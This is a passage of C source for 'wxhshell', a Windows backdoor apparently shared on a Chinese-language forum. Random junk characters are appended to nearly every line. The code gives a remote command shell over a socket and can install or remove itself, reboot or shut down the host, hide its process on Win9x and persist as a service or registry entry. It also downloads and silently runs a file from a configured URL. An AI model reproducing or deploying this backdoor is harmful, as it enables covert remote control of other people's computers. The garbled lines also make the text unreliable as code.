@D2KDV3'  
    switch(cmd[0]) { )#0Llx!  
  wpepi8w,  
  // 帮助 $E35 W=~)  
  case '?': { ;Ebpf J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &^JYIRn1\  
    break; ibxtrt=  
  } NVG`XL  
  // 安装 IEQ6J}L  
  case 'i': { 12S[m~L%  
    if(Install()) &Tn7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 40Z/;,wp{  
    else - * _"ZgE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /e50&]2w  
    break; W<OO:B.ty  
    } {3kI~s  
  // 卸载 3=Va0}#&  
  case 'r': { 7p+uHm  
    if(Uninstall()) 5imqZw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ghVxcK  
    else ,}HnS)+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~} 2&w  
    break; X0zE-h6P  
    } zmp Q=%/H  
  // 显示 wxhshell 所在路径 S X6P>:`  
  case 'p': { b1t7/q  
    char svExeFile[MAX_PATH]; Z<~^(W7h  
    strcpy(svExeFile,"\n\r"); O\[Td  
      strcat(svExeFile,ExeFile); JrVBd hLr  
        send(wsh,svExeFile,strlen(svExeFile),0); qkh.? ~  
    break;  0ZpWfL  
    } ^J7g)j3  
  // 重启 VkDFR [k_  
  case 'b': { Tx0l^(n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K}YOs.  
    if(Boot(REBOOT)) ?Ulc`-d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7!=KE_z  
    else { n+;PfQ|  
    closesocket(wsh); Bl8&g]dk  
    ExitThread(0); ~zA{=|I2  
    } MESPfS+  
    break; aShZdeC*f  
    } i4*!t.eI  
  // 关机 4j h4XdH  
  case 'd': { &m>txzo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hR3Pa'/i  
    if(Boot(SHUTDOWN)) 0CS80 pC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WX9pJ9d  
    else { ) bPF@'rF2  
    closesocket(wsh); -"Q[n,"Y  
    ExitThread(0); Y'S9   
    } X>6VucH{\  
    break; 9,;+B8-A  
    } R@H}n3,  
  // 获取shell BlvNBB1^  
  case 's': { !WReThq  
    CmdShell(wsh); ^Wz3 q-^  
    closesocket(wsh); [j`-R 0Np  
    ExitThread(0); Cb/?hT  
    break; @5-+>\Hd^t  
  } p; ZEz<M  
  // 退出 Q|W!m0XO  
  case 'x': { : j m|)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7OOod1  
    CloseIt(wsh); tHo0q<.oX  
    break; 5`3f"(ay/  
    } .5m^)hi  
  // 离开 ^. i;,  
  case 'q': { x uDn:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e`Z3{H}  
    closesocket(wsh); YJ{d\j  
    WSACleanup(); wOp# mT  
    exit(1); XT5Vo  
    break; SY}iU@xo  
        } n!(g<"  
  } Q,A`"e#:  
  } ,-XJ@@2gM  
t(:6S$6{e  
  // 提示信息 e[@ ^UY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2)^[SpZ  
} 7" wn0 24  
  } WxS=Aip'  
7#R& OQ  
  return; UVD::  
} D|D1`CIM  
8c'0"G@S  
// shell模块句柄 %KmB>9  
int CmdShell(SOCKET sock) _(\\>'1q!  
{ ].2it{gF?b  
STARTUPINFO si; = *A_{u;E  
ZeroMemory(&si,sizeof(si)); rHtT>UE=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #dGg !D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \[+\JWJj  
PROCESS_INFORMATION ProcessInfo; "Rp]2'?  
char cmdline[]="cmd"; $u4esg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'c<@SVF{Zz  
  return 0; #:68}f"$  
} :;XHA8  
;v6e2NacM'  
// 自身启动模式 Eu )7@  
int StartFromService(void) XjwTjgL<  
{ `<>8tZS9"  
typedef struct A{E0 a:v  
{ Y4Z?`TL  
  DWORD ExitStatus; wz!]]EQ!o  
  DWORD PebBaseAddress; 4[!&L:tR  
  DWORD AffinityMask; x./jTebeO  
  DWORD BasePriority; `q exEk@S  
  ULONG UniqueProcessId; AMYoSc  
  ULONG InheritedFromUniqueProcessId; A_%}kt (6  
}   PROCESS_BASIC_INFORMATION; gHlahg  
NG_O I*|~  
PROCNTQSIP NtQueryInformationProcess; <v('HLA  
^aZ Wu|p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *qG=p`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T[XI  
1{"fmV  
  HANDLE             hProcess; 7@DinA!  
  PROCESS_BASIC_INFORMATION pbi; jq["z<V )x  
@/JGC%!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DoPm{055J  
  if(NULL == hInst ) return 0; AX1'.   
7Hpsmfm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ){>;eky  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~pj9_I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); US7hKNm.  
RkLH}`#  
  if (!NtQueryInformationProcess) return 0; XR\ iQ  
hBE}?J>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <UQ:1W8>B  
  if(!hProcess) return 0; 7B% @f9g  
(7ew&u\Li  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eOn,`B1  
fD\h5`-  
  CloseHandle(hProcess);  df 1* [  
u(ZS sftat  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1"odkM  
if(hProcess==NULL) return 0; BJj~fNm1Zr  
3 XfXMVm  
HMODULE hMod; }C#YR( ]  
char procName[255]; 6w}:w?=6  
unsigned long cbNeeded; MO#%w  
o-O/MS   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6g$04C3tHi  
~*B1}#;  
  CloseHandle(hProcess); z7PPwTBa  
<tF]>(|M  
if(strstr(procName,"services")) return 1; // 以服务启动 T"d]QYJS  
il-&d]AP  
  return 0; // 注册表启动 5Ll[vBW  
} LwGcy1F.  
x2ol   
// 主模块 RV(}\JU  
int StartWxhshell(LPSTR lpCmdLine) +Kq>r|;  
{ h'-TZXs0e1  
  SOCKET wsl; 2|%30i,vV  
BOOL val=TRUE; ;*Z w}51  
  int port=0; ?>o39|M_w  
  struct sockaddr_in door; LOida#R  
"W+4`A(/l  
  if(wscfg.ws_autoins) Install(); \R-u+ci$ZY  
NM8 F  
port=atoi(lpCmdLine); Z@ws,f^e  
v8%]^` '  
if(port<=0) port=wscfg.ws_port; i ^IvT  
s\jLIrG8  
  WSADATA data; 6:EO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7GP?;P  
<01B\t7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ufR |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `P z !H  
  door.sin_family = AF_INET; >leOyBEAR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Le mTr  
  door.sin_port = htons(port); H7SqM D*y9  
+Zr03B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zIo))L  
closesocket(wsl); mtOrb9` m  
return 1; nlY ^  
} THu a?,oyW  
7k$8i9#  
  if(listen(wsl,2) == INVALID_SOCKET) { )@Zel.XD  
closesocket(wsl); "7<4NV@yQ  
return 1; X&lkA (  
} ,!Hl@(  
  Wxhshell(wsl); #SqOJX~Q  
  WSACleanup(); 9xKFX|*$  
f(_qcgXp  
return 0; 1Xs! ew)>  
U50X`J  
} df:,5@CJ8  
FFQF0.@EBi  
// 以NT服务方式启动 2)8lJXM$L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k{b ba=<  
{ +.R-a+y3  
DWORD   status = 0; 8p211MQ<  
  DWORD   specificError = 0xfffffff; Z0'3.D,l  
Rp<Xu6r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rb_G0/R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZE\t{s0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T5Fah#-4  
  serviceStatus.dwWin32ExitCode     = 0; ;% !?dH6  
  serviceStatus.dwServiceSpecificExitCode = 0; \D[BRE+  
  serviceStatus.dwCheckPoint       = 0; vB Jva8;Q  
  serviceStatus.dwWaitHint       = 0; 16+@#d%#p  
K7l{&2>?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Ek< 5s[  
  if (hServiceStatusHandle==0) return; YW}/C wB  
95<:-?4C;W  
status = GetLastError(); RTU:J67E  
  if (status!=NO_ERROR) @E)XT\;3  
{ ^$L/Mv+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zR .MXr  
    serviceStatus.dwCheckPoint       = 0; 7RLh#D|  
    serviceStatus.dwWaitHint       = 0; ]S[r$<r$  
    serviceStatus.dwWin32ExitCode     = status; ~8X' p6  
    serviceStatus.dwServiceSpecificExitCode = specificError; LH_2oJ\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CeJ|z {F\  
    return;  A:!{+  
  } >r*Zm2($MR  
s=nds"J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kp$ILZ  
  serviceStatus.dwCheckPoint       = 0; #X8[g_d/  
  serviceStatus.dwWaitHint       = 0; #SXXYh-e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B%pvk.`  
} xn@jL;+<-  
Qh[t##I/  
// 处理NT服务事件,比如:启动、停止 H xlw1(zS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1,QRfckks  
{ Xm4wuX"e=  
switch(fdwControl) Mm;)O'XDE  
{ 4(&'V+o  
case SERVICE_CONTROL_STOP: ~4^e a  
  serviceStatus.dwWin32ExitCode = 0; g3Q #B7A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yS43>UK_W+  
  serviceStatus.dwCheckPoint   = 0; b?$09,{0  
  serviceStatus.dwWaitHint     = 0; 8j$q%g  
  { 6vA5L_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yR!>80$j  
  } ; M(}fV]  
  return; [Ok8l='  
case SERVICE_CONTROL_PAUSE: >H1d9y +Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s`B'vyoaa  
  break; k Mo)4 Xp  
case SERVICE_CONTROL_CONTINUE: _e 3'f:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?MYD}`Cv  
  break; la4 ,Z  
case SERVICE_CONTROL_INTERROGATE: HA%ye"(y8  
  break; Esjv^* v9-  
}; W% [5~N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O,{ (  
} #J!? :(m:  
O>GP>U?]  
// 标准应用程序主函数 Rv-o__C!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hF~B&^dd.  
{ ]| y H8m  
twtDyo(\  
// 获取操作系统版本 .T|NB8 rS  
OsIsNt=GetOsVer(); ~c^-DAgB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %awS*  
"v1(f|a  
  // 从命令行安装 ]G B},  
  if(strpbrk(lpCmdLine,"iI")) Install(); A E711l-  
ASvPr*q/  
  // 下载执行文件 3$8}%?i  
if(wscfg.ws_downexe) { ="DgrH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ttnXEF  
  WinExec(wscfg.ws_filenam,SW_HIDE);  M9K).P=  
} ~30Wb9eL  
WFd2_oAT  
if(!OsIsNt) { iV&#5I  
// 如果时win9x,隐藏进程并且设置为注册表启动 /v{[Z&z  
HideProc(); *eP4dGe&  
StartWxhshell(lpCmdLine); o zYI/b^  
} Pb,^UFa=  
else  o,yvi  
  if(StartFromService()) yLx.*I^6  
  // 以服务方式启动 [ q&J"dt  
  StartServiceCtrlDispatcher(DispatchTable); q,DX{:  
else dX*>?a  
  // 普通方式启动 zmFFBf"<  
  StartWxhshell(lpCmdLine); L\ %_<2  
xgz87d/<:  
return 0; |^Es6 .~  
}
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只看该作者 1 发表于: 2006-10-10
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